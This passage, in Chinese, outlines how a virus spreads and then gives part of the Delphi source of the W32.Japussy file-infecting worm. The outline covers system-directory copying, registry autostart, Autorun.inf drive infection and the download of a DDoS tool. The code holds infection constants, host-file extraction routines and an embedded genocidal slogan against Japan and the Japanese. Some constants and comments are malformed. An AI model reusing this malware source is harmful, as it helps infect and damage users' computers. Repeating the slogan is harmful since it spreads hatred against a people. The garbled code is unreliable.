病毒结构
含有病毒体的文件被运行后，病毒将自身拷贝至系统目录，同时修改注册表将自身设置为开机启动项，并遍历各个驱动器，将自身写入磁盘根目录下，增加一个Autorun.inf文件，使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染，同时开另外一个线程连接网站下载ddos程序进行发动恶意攻击。
病毒文件初始信息
Program japussy; uses windows, sysutils, classes, graphics, shellapi{, registry}; const headersize = 82432; //病毒体的大小 iconoffset = 12eb8; //pe文件主图标的偏移量 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { headersize = 38912; //upx压缩过病毒体的大小 iconoffset = 92bc; //upx压缩过pe文件主图标的偏移量 } iconsize = 2e8; //pe文件主图标的大小--744字节 icontail = iconoffset + iconsize; //pe文件主图标的尾部 id = 44444444; //感染标记
//垃圾码，以备写入 catchword = 'if a race need to be killed out, it must be yamato. ' + 'if a country need to be destroyed, it must be japan! ' + '*** w32.japussy.worm.a ***'; {$r *.res} function registerserviceprocess(dwprocessid, dwtype: integer): integer; stdcall; external 'kernel32.dll'; //函数声明 var tmpfile: string; si: startupinfo; pi: process_information; isjap: boolean = false; //日文操作系统标记
{ =====判断是否为win9x =====}
function iswin9x: boolean; var ver: tosversioninfo; begin result := false; ver.dwosversioninfosize := sizeof(tosversioninfo); if not getversionex(ver) then exit; if (ver.dwplatformid = ver_platform_win32_windows) then //win9x result := true; end;
{===== 在流之间复制===== }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream; dstartpos: integer; count: integer); var scurpos, dcurpos: integer; begin scurpos := src.position; dcurpos := dst.position; src.seek(sstartpos, 0); dst.seek(dstartpos, 0); dst.copyfrom(src, count); src.seek(scurpos, 0); dst.seek(dcurpos, 0); end;
======将宿主文件从已感染的PE文件中分离出来，以备使用=====}
procedure extractfile(filename: string); var sstream, dstream: tfilestream; begin try sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone); try dstream := tfilestream.create(filename, fmcreate); try sstream.seek(headersize, 0); //跳过头部的病毒部分 dstream.copyfrom(sstream, sstream.size - headersize); finally dstream.free; end; finally sstream.free; end;